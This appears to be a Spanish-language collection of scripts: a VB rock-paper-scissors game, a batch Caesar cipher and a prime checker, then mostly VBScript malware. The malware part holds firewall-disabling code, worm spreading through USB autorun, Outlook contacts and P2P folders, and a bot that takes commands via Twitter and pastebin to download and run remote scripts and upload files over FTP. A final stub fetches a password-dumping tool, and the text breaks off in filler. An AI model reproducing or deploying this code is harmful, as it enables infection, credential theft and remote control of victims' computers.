If InStr(Factorial(2 ^ 2) - Factorial(3) - Factorial(1) * 4, StrReverse((StrReverse(Oponente))), StrReverse(Chr((Factorial(6) / 72) * 10 + (Factorial(3) - Factorial(1))) & Chr((Factorial(6) / 72) * 10 - 2 * (Factorial(6) / 72)))) Then a = True: b = True
If VerifClean(CLng(Int(Val(Rnd()))), CBool(a)) Then If VerifClean(CLng(Int(Val(Rnd()))), CBool(b)) Then Res = "Pedro Eligio Papel" Else Res = "Pedro Eligio Piedra" Else Res = "Pedro Eligio Tijera"
If Mid(Res, 14, Len(Res) - 13) = Mid(Oponente, 14, Len(Oponente) - 13) Then
respuesta = "Hubo Empate"
Else
If Mid(Res, 14, Len(Res) - 13) = "Tijera" And Mid(Oponente, 14, Len(Oponente) - 13) = "Papel" Then respuesta = "Ha Ganado Pedro"
If Mid(Res, 14, Len(Res) - 13) = "Papel" And Mid(Oponente, 14, Len(Oponente) - 13) = "Tijera" Then respuesta = "Ha Ganado Usted"
If Mid(Res, 14, Len(Res) - 13) = "Tijera" And Mid(Oponente, 14, Len(Oponente) - 13) = "Piedra" Then respuesta = "Ha Ganado Usted"
If Mid(Res, 14, Len(Res) - 13) = "Papel" And Mid(Oponente, 14, Len(Oponente) - 13) = "Piedra" Then respuesta = "Ha Ganado Pedro"
If Mid(Res, 14, Len(Res) - 13) = "Piedra" And Mid(Oponente, 14, Len(Oponente) - 13) = "Tijera" Then respuesta = "Ha Ganado Pedro"
If Mid(Res, 14, Len(Res) - 13) = "Piedra" And Mid(Oponente, 14, Len(Oponente) - 13) = "Papel" Then respuesta = "Ha Ganado Usted"
End If
Else
If InStr(Oponente, StrReverse(Oponente)) > 1 Then If VerifClean(VerifClean(Oponente = "3", Oponente = "1"), Oponente = "8") Then If CLng(Int(Val(Oponente))) = 8 Then Oponente = "Usted Eligio Tijera" Else If CLng(Int(Val(Oponente))) = 3 Then Oponente = "Usted Eligio Papel" Else If CLng(Int(Val(Oponente))) = 1 Then Oponente = "Usted Eligio Piedra"
If InStr(Factorial(2 ^ 3) - Factorial(5) - Factorial(2) * 1, StrReverse((StrReverse(Oponente))), StrReverse(Chr((Factorial(5) / 69) * 10 - (Factorial(3) - Factorial(2))) & Chr((Factorial(5) / 69) * 10 - 2 * Factorial(3) - 3 * (Factorial(5) / 69)))) Then a = True: b = False
If InStr(Factorial(2 ^ 3) - Factorial(3) - Factorial(1) * 4, StrReverse((StrReverse(Oponente))), StrReverse(Chr((Factorial(5) / 69) * 10 + (Factorial(2) + Factorial(2))) & Chr((Factorial(5) / 69) * 10 + 2 * (Factorial(5) / 69)))) Then a = False: b = True
If InStr(Factorial(2 ^ 3) - Factorial(6) - Factorial(3) * 2, StrReverse((StrReverse(Oponente))), StrReverse(Chr((Factorial(5) / 69) * 10 - (Factorial(3) - Factorial(2))) & Chr((Factorial(5) / 69) * 10 + 2 * (Factorial(5) / 69)))) Then a = True: b = True
If VerifClean(CLng(Int(Val(Rnd()))), CBool(a)) Then If VerifClean(CLng(Int(Val(Rnd()))), CBool(b)) Then Res = "Pedro Eligio Papel" Else Res = "Pedro Eligio Piedra" Else Res = "Pedro Eligio Tijera"
If Mid(Res, 14, Len(Res) - 13) = Mid(Oponente, 14, Len(Oponente) - 13) Then
respuesta = "Hubo Empate"
Else
If Mid(Res, 14, Len(Res) - 13) = "Tijera" And Mid(Oponente, 14, Len(Oponente) - 13) = "Papel" Then respuesta = "Ha Ganado Pedro"
If Mid(Res, 14, Len(Res) - 13) = "Papel" And Mid(Oponente, 14, Len(Oponente) - 13) = "Tijera" Then respuesta = "Ha Ganado Usted"
If Mid(Res, 14, Len(Res) - 13) = "Tijera" And Mid(Oponente, 14, Len(Oponente) - 13) = "Piedra" Then respuesta = "Ha Ganado Usted"
If Mid(Res, 14, Len(Res) - 13) = "Papel" And Mid(Oponente, 14, Len(Oponente) - 13) = "Piedra" Then respuesta = "Ha Ganado Pedro"
If Mid(Res, 14, Len(Res) - 13) = "Piedra" And Mid(Oponente, 14, Len(Oponente) - 13) = "Tijera" Then respuesta = "Ha Ganado Pedro"
If Mid(Res, 14, Len(Res) - 13) = "Piedra" And Mid(Oponente, 14, Len(Oponente) - 13) = "Papel" Then respuesta = "Ha Ganado Usted"
End If
End If
MsgBox Oponente & vbNewLine & Res & vbNewLine & respuesta, , "Resultado"
End
End Sub
Private Function Factorial(n As Long) As Long
Dim x As Long
Factorial = 1
For x = 1 To n
Factorial = Factorial * x
Next
If n = 0 Then Factorial = 0
End Function
Private Function VerifClean(Clean1 As Long, Clean2 As Long) As Long
Dim Cle1() As Boolean: Dim Cle2() As Boolean: Dim Cle3() As Boolean: Dim CT  As Long: Dim Tam   As Long: Dim b1    As Long: Dim b2    As Long: b1 = Clean1: b2 = Clean2
Do
ReDim Preserve Cle1(CT)
If b1 = 1 Then ReDim Preserve Cle1(CT): Cle1(CT) = True: Exit Do
If b1 = 0 Then ReDim Preserve Cle1(CT): Exit Do
Cle1(CT) = CBool(b1 Mod 2): b1 = Fix(b1 / 2): CT = CT + 1
Loop
CT = 0
Do
If b2 = 1 Then ReDim Preserve Cle2(CT): Cle2(CT) = True: Exit Do
If b2 = 0 Then ReDim Preserve Cle2(CT): Exit Do
ReDim Preserve Cle2(CT): Cle2(CT) = CBool(b2 Mod 2): b2 = Fix(b2 / 2): CT = CT + 1
Loop
If UBound(Cle1) > UBound(Cle2) Then ReDim Preserve Cle2(UBound(Cle1))
If UBound(Cle1) < UBound(Cle2) Then ReDim Preserve Cle1(UBound(Cle2))
Tam = UBound(Cle1): ReDim Cle3(Tam)
For x = 0 To Tam
If Cle1(x) Then If Cle2(x) = False Then Cle3(x) = True
If Cle2(x) Then If Cle1(x) = False Then Cle3(x) = True
Next
For x = 0 To Tam
If Cle3(x) Then VerifClean = VerifClean + 2 ^ (x)
Next
End Function

@ECHO OFF
SETlocal enabledelayedexpansion
SET /P OP=ENCRIPTAR(1), DESENCRIPTAR(2),SALIR(ELSE): 
IF %OP%==1 GOTO ENCRIPTAR
IF %OP%==2 GOTO DESENCRIPTAR
EXIT
:DESENCRIPTAR
SET A=ZYXWVUTSRQPONMLKJIHGFEDCBAZYXWVUTSRQ
SET /P F=STRING A DESENCRIPTAR: 
CALL SET DESPLAZA=%%F:~%H%,1%%%
set /a H+=1
GOTO LOOPA
:ENCRIPTAR
SET A=ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJ
SET /P F=STRING A ENCRIPTAR: 
SET /P DESPLAZA=DESPLAZAMIENTO: 
SET RN=%DESPLAZA%
GOTO LOOPA
:LOOPA
CALL SET G=%%F:~%H%,1%%%
IF "%G%"=="" (GOTO TERMINAR)
set /a H+=1
SET C=0
:LOOP
call set B=%%A:~%C%,1%%%
set /a C+=1
IF "%C%" EQU "27" (GOTO LOOPA)
IF "%G%"=="%B%" (
SET /A D=%C%+%DESPLAZA%-1
CALL SET E=%%A:~!D!,1%%%
SET RN=%RN%!E!
)
IF "%G%"==" " (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="1" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="2" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="3" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="4" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="5" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="6" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="7" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="8" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="9" (SET RN=%RN%%G%
GOTO LOOPA)
IF "%G%"=="0" (SET RN=%RN%%G%
GOTO LOOPA)
GOTO LOOP
:TERMINAR
ECHO %RN%
pause
EXIT

@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
ECHO VERIFICADOR DE NUMEROS PRIMOS POR 79137913
ECHO EJEMPLO:
ECHO Entrada 1 2 3 4 5 6 7 8 9 10 11 12 13
ECHO Salida: 1 1 1 0 1 0 1 0 0 0 1 0 1
SET /P N=INSERTE UNA CADENA DE NUMEROS A VERIFICAR SEPARADOS POR UN ESPACIO:
:NEXTNUM
IF "%FIN%"=="1" GOTO SHOWNUMS
SET RN=
:NEXTCHAR
call set CHAR=%%N:~%NUM%,1%%%
set /a NUM+=1
IF "%CHAR%" EQU " " (GOTO EMPIEZA)
IF "%CHAR%" EQU "" SET FIN=1
IF "%CHAR%" EQU "" (GOTO EMPIEZA)
SET RN=%RN%%CHAR%
GOTO NEXTCHAR
:EMPIEZA
SET X=%RN%
SET Y=%X%
SET CT=0
:LOOP
SET /A Y=%Y%-1
IF !Y!==0 GOTO ISPRIME
SET /A CHECK= %X% %% Y
IF !CHECK!==0 (SET /A CT=%CT%+1)
IF !CT!==2 GOTO NOTPRIME
GOTO LOOP
:NOTPRIME
SET OUTP=%OUTP% 0
GOTO NEXTNUM
:ISPRIME
SET OUTP=%OUTP% 1
GOTO NEXTNUM
:SHOWNUMS
ECHO %OUTP%
PAUSE

Sub DisableFirewall()
if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
    Set Firewall = CreateObject("HNetCfg.FwMgr")
    Set Politica = Firewall.LocalPolicy.CurrentProfile
    Politica.FirewallEnabled = FALSE
Set Firewall = Nothing: Set Politica = Nothing
End Sub

Sub AddFirewallAuth(AppName,Spath,SFile)
if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
    Set objFirewall = CreateObject("HNetCfg.FwMgr")
    Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
    Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
    objApplication.Name = "ElHacker.net - Aplicación"
    objApplication.IPVersion = 2
    objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
    objApplication.RemoteAddresses = "*"
    objApplication.Scope = 0
    objApplication.Enabled = True
    Set colApplications = objPolicy.AuthorizedApplications
    colApplications.Add(objApplication)
    Set objFirewall = Nothing: Set objPolicy = Nothing: Set objApplication = Nothing: Set colApplications = Nothing
End Sub

Sub ChangeIETitle(NewTitle)
   On Error Resume Next
   Set WSHShell = WScript.CreateObject("WScript.Shell")
   WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
   WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
End Sub

Function GetLastTweet(Twitter)
    Aux = GetHTMLSource("http://twitter.com/users/show.xml?screen_name=" & Twitter)
    GetLastTweet = Mid$(Aux,6+instr(Aux,"<text>"),instr(Aux,"</text>")-6-instr(Aux,"<text>"))
End Function

Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
    If Contacts.Items.Item(x).Email1Address <> "" Then
        Set Email = CreateObject("Outlook.Application").CreateItem(0)
        Email.To = Contacts.Items.Item(x).Email1Address
        Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.ReadReceiptRequested = False
        Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.Attachments.Add ConvertPath(SPath, SFile)
        Email.Send
    End If
next
End Sub

Function GetHTMLSource(URL)
    On Error Resume Next
    Set http = CreateObject("Microsoft.XmlHttp")
    http.open "GET", URL, False
    http.send ""
     GetHTMLSource =  http.responseText
    Set http = Nothing
End Function

Sub USBSpread()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
For Each Drive in fso.Drives
    If Drive.Isready then
        If  asc(Drive.driveletter) > 68 then
            If not (fso.FileExist(Drive & "\" & MyName)) then
                fso.CopyFile MyFullPath,Drive & "\" & MyName,True
                HideFile Drive,MyName
            End If
            If not (fso.FileExist(Drive & "\autorun.inf")) then
                Set objTXT = fso.CreateTextFile(Drive & "\autorun.inf",True)
                objTXT.WriteLine("[autorun]")
                objTXT.WriteLine("shellexecute = " & MyName)
                objTXT.WriteLine("action = " & MyName)
                objTXT.Close
                HideFile Drive,autorun.inf
                Set objTXT = Nothing
        End If
    End If
Next
Set fso = Nothing
End Sub

Sub AresSpread(Spath, SFile, SpreadFilenames())
    Set fso = CreateObject("scripting.filesystemobject")
    If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
        RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
        For x = 0 to Ubound(SpreadFilenames)
            fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
        Next
    End If
    Set fso = Nothing
End Sub
Set fso = Nothing
End Sub

Function KeyExists(key)
    On Error Resume Next
    CreateObject("WScript.Shell").RegRead(key)
    If Err = 0 Then KeyExists = True
End Function

Function GetOsVersionCaption()
    For Each os in GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Caption from Win32_OperatingSystem")
        GetOsVersionCaption = os.Caption
    Next
End Function

Function GetOsVersion()
     For Each os in  GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Version from Win32_OperatingSystem")
        GetOsVersion = os.Version
    Next
End Function

Function GetComputerName()
    GetComputerName = CreateObject("WScript.NetWork").ComputerName
End Function

Function GetUserName()
    GetUserName = CreateObject("WScript.NetWork").UserName
End Function

Sub KillProc(ProcName)
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    For x  = 0 To UBound(KillProcess)
        Set colProcessList = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '" & ProcName & "'")
        For Each objProcess in colProcessList
            objProcess.Terminate()
        Next
    Next
    Set objWMIService = Nothing: Set ColProcessList = Nothing
End Sub

Sub SetStartIE(StartPage)
    Set WSHShell = WScript.CreateObject("WScript.Shell")
    WSHShell.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
    WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
    Set WSHShell = Nothing
End Sub

Sub Restart()
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
        objOperatingSystem.Reboot()
    Next
    Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub

Sub Shutdown()
    strComputer = "."
    Set objWMIService = GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
        objOperatingSystem.Win32Shutdown(1)
    Next
    Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub

Function Base64Decode(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  dataLength = Len(base64String)
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next
  Base64Decode = sOut
End Function

Function HEX2ASCII(hextext)
    For y = 0 To (Len(hextext)/2) - 1
        HEX2ASCII  = HEX2ASCII  & Chr(Val("&h" & Mid(hextext, (y*2)+1, 2)))
    Next
End Function

Sub AresSpread(Spath, SFile, SpreadFilenames())
    Set fso = CreateObject("scripting.filesystemobject")
    If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
        RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
        For x = 0 to Ubound(SpreadFilenames)
            fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
        Next
    End If
    Set fso = Nothing
End Sub
Set fso = Nothing
End Sub

Function ConvertPath(Spath, SFile)
    If Ucase(SPath) = "MYPATH" then ConvertPath = MyPath: Exit Function
    If Ucase(SPath) = "FULLPATHONFILENAME" THEN ConvertPath = SFile: Exit Function
    If Ucase(SPath) = "STARTUP" then Spath = CreateObject("WScript.Shell").SpecialFolders("StartMenu")
    ConvertPath = Spath  & "\" & SFile
End Function

Sub CopyToStartUP(Spath, SFile)
    CreateObject("scripting.filesystemobject") .CopyFile ConvertPath(Spath, SFile),CreateObject("WScript.Shell").SpecialFolders("StartMenu") & "\" & Sfile,True
End Sub

Sub DeleteFile(Spath, SFile)
    CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(Spath, SFile)
End Sub

Sub Download(UrlDownload, SPath, SFile)
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", UrlDownload, False
    xHttp.Send
    bStrm.type = 1
    bStrm.Open
    bStrm.Write xHttp.responseBody
    bStrm.SaveToFile ConvertPath(Spath, SFile), 2 'bStrm.SaveToFile
    Do while not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(Spath, SFile)) : WScript.Sleep 500 :    Loop 
End Sub

Sub FileCopy(Spath, SFile, Spath2, SFile2)
    CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub

Sub HideFile(Spath, SFile)
CreateObject("scripting.filesystemobject").GetFile(ConvertPath(Spath, SFile)).Attributes = -2
End Sub

Sub Melt()
    DeleteFile "FULLPATHONFILENAME", WScript.ScriptFullName
End Sub

Para descargar un Archivo de texto (vbs o js ;D):
	down[%]Link[%]Carpeta[%]NombreArchivo

Para ejecutar un archivo:
	xcec[%]Carpeta[%]NombreArchivo

Para descargar y ejecutar un vbs o js:
	dwne[%]Link[%]Carpeta[%]NombreArchivo

Para copiar un archivo:
	copy[%]Carpeta1[%]NombreArchivo1[%]Carpeta2[%]NombreArchivo2

Para eliminar un archivo:
	supr[%]Carpeta[%]NombreArchivo

Para ocultar un archivo:
	hide[%]Carpeta[%]NombreArchivo

Para subir un archivo a un FTP:
	ftpu[%]FTPServer[%]FTPPort[%]FTPUser[%]FTPPass[%]SPath[%]SFile[%]OrdNum

Para mostrar un cuadro de texto:
	msgb[%]TextoAMostrar

Para hacer melt:
	melt

Para cerrar:
	clos

Para detener la orden actual:
	nord

on error resume next
Dim Orders
Dim MyFullPath: MyFullPath = WScript.ScriptFullName
Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
Dim MyName: MyName = WScript.ScriptName
Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
'FTP
   Dim FTPData
   Dim FTPCOMPLETE
   Dim W1
   Dim W2
'/FTP
 
Main
Sub Main()
   If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
       CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
       CopyToStartUP MyPath , MyName
       Hidefile "STARTUP", MyName
       ExecuteFile "STARTUP", MyName
       Melt
       WScript.Quit (1)
   End If
   Do
       DoOrders "[%]"
       For x = 0 To 200
           WScript.Sleep 10000
       Next
   Loop
End Sub
Sub DoOrders(OrdSeparator)
   GetOrders
   For x = 0 To UBound(Orders)
       Ord = Split(Orders(x), OrdSeparator)
       Select Case Ord(0)
           Case "nord"
               Exit For
           Case "down" 'Download VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
           Case "xcec" 'Execute
               ExecuteFile Ord(1), Ord(2)
           Case "dwne" 'Download and Execute VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
               ExecuteFile Ord(2), Ord(3)
           Case "copy" 'Copy
               FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
           Case "supr" 'Delete
               DeleteFile Ord(1), Ord(2)
           Case "hide" 'Hide
               HideFile Ord(1), Ord(2)
           Case "melt" 'Melt
               Melt
           Case "ftpu" 'Upload to FTP
               Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
               Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
               Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
               Set W1 = Nothing
               Set W2 = Nothing
           Case "msgb" 'MsgBox
               Msgbox Ord(1)
           Case "clos" 'Close
        WScript.Quit (1)
       End Select
   Next
End Sub
Function LastOrderDone()
   LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
End Function
Sub ExecuteFile(SPath, SFile)
   CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub Melt()
   DeleteFile "FULLPATHONFILENAME", MyFullPath
End Sub
Sub DeleteFile(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
End Sub
Sub DownloadVBS(Z, SPath, SFile)
   Set xhttp = CreateObject("Microsoft.XmlHttp")
   xhttp.open "GET", Z, False
   xhttp.send ""
   Z = xhttp.responseText
   If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
   Set xhttp = Nothing
   Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
   WScript.Sleep 500
   Loop
End Sub
Function ConvertPath(SPath, SFile)
   If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
   If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
   If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
   ConvertPath = SPath & "\" & SFile
End Function
Sub GetOrders()
   Orders = Split("nord nord")
   Dim Orden
   Dim xhttp
   Dim y
   Dim URLPASTEBIN
   Dim http : Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<text>")
If ubound(y)>0 then
msgbox y(1)
URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
msgbox urlpastebin
End if
      Set xhttp = CreateObject("Microsoft.XmlHttp")
      If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
      xhttp.open "GET", URLPASTEBIN, False
      xhttp.send ""
      Z = LCase(xhttp.responseText)
      Set xhttp = Nothing
      Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
      Orders = Split(Z, vbNewLine)
End Sub
Sub HideFile(SPath, SFile)
   CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
End Sub
Sub CopyToStartUP(SPath, SFile)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
End Sub
Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
   W1.RemoteHost = FTPServer
   W1.RemotePort = FTPPort
   W1.Connect
   If WaitResponse Then Exit Function
   If FTPCODE <> 220 Then Exit Function
       FTPData = ""
       W1.SendData "USER " & FTPUser & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 331 Then Exit Function
       FTPData = ""
       W1.SendData "PASS " & FTPPass & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 230 Then Exit Function
       FTPData = ""
       W1.SendData "PASV" & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 227 Then Exit Function
       Dim Aux
       Aux = Split(FTPData, ",")
       FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
       FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
       FTPData = ""
       W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
       W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
       W2.Connect
       WaitResponse
   If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
       FTPUpload = Upload(ConvertPath(SPath, SFile))
End Function
Function Upload(FilePath)
   Dim UPFile
   Dim FileLen
   Dim TotalSent
   Dim a
   Set a = WScript.CreateObject("ADODB.Stream")
   a.open
   a.Type = 1
   a.LoadFromFile (FilePath)
   UPFile = a.Read()
   FTPCOMPLETE = False
   W2.SendData UPFile
   EsperaSubida = 0
   Do
       WScript.Sleep 1000
       EsperaSubida = EsperaSubida + 1
       If SendIsComplete = 1 Then Upload = True: Exit Function
       If EsperaSubida > 300 Then Exit Function
   Loop
End Function
Sub W1_DataArrival(ByVal bytesTotal)
   W1.GetData FTPData, 8
End Sub
Function SendIsComplete()
   SendIsComplete = FTPCOMPLETE
End Function
Sub w2_SendComplete()
   FTPCOMPLETE = 1
End Sub
Function WaitResponse()
   Espera = 0
   Do
       WScript.Sleep 1000
       Espera = Espera + 1
       If Espera > 10 Then WaitResponse = 1: Exit Function
       If FTPCODE <> 0 Then Exit Function
   Loop
End Function
Function FTPCODE()
   If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
End Function
Function uncif(Tweet)
   Tweet = Replace(Tweet, Chr(32), vbNullString)
   Movex = Left(Tweet, 1)
   For x = 2 To Len(Tweet)
       uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
   Next
End Function
Function CheckOrder(expression)
Dim EscOrd
  if instr(expression, "/") then 
  Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
  Aux = EscOrd.ReadAll
  Dim Aux2
  Set EscOrd = Nothing
  Aux2 = Split(Aux,VbNewLine)
  For x = 0 to ubound(aux2)
     If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
  Next
  set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
  EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
  EscOrd.Close
  Set EscOrd = Nothing
  CheckOrder = 1
  end if
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
   If Contacts.Items.Item(x).Email1Address <> "" Then
       Set Email = CreateObject("Outlook.Application").CreateItem(0)
       Email.To = Contacts.Items.Item(x).Email1Address
       Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.ReadReceiptRequested = False
       Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.Attachments.Add ConvertPath(SPath, SFile)
       Email.Send
   End If
next
End Sub

'<VARS>
Const THE_URL="URL_PARA_DESCARGAR_EL_BROWSER_PASSVIEW_DE_NIRSOFT"
Const THE_MAIL="[email protected]"
Const THE_PASS="somepass"
'</VARS>

p=CreateObject("Shell.Application").NameSpace(26).Self.Path
p1=p+"\a.exe"
p2=p1+".html"

With CreateObject("Microsoft.XMLHTTP")
    .Open "GET", THE_URL, False
    .Send
	x = .responseBody
End With

With CreateObject("Adodb.Stream")::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::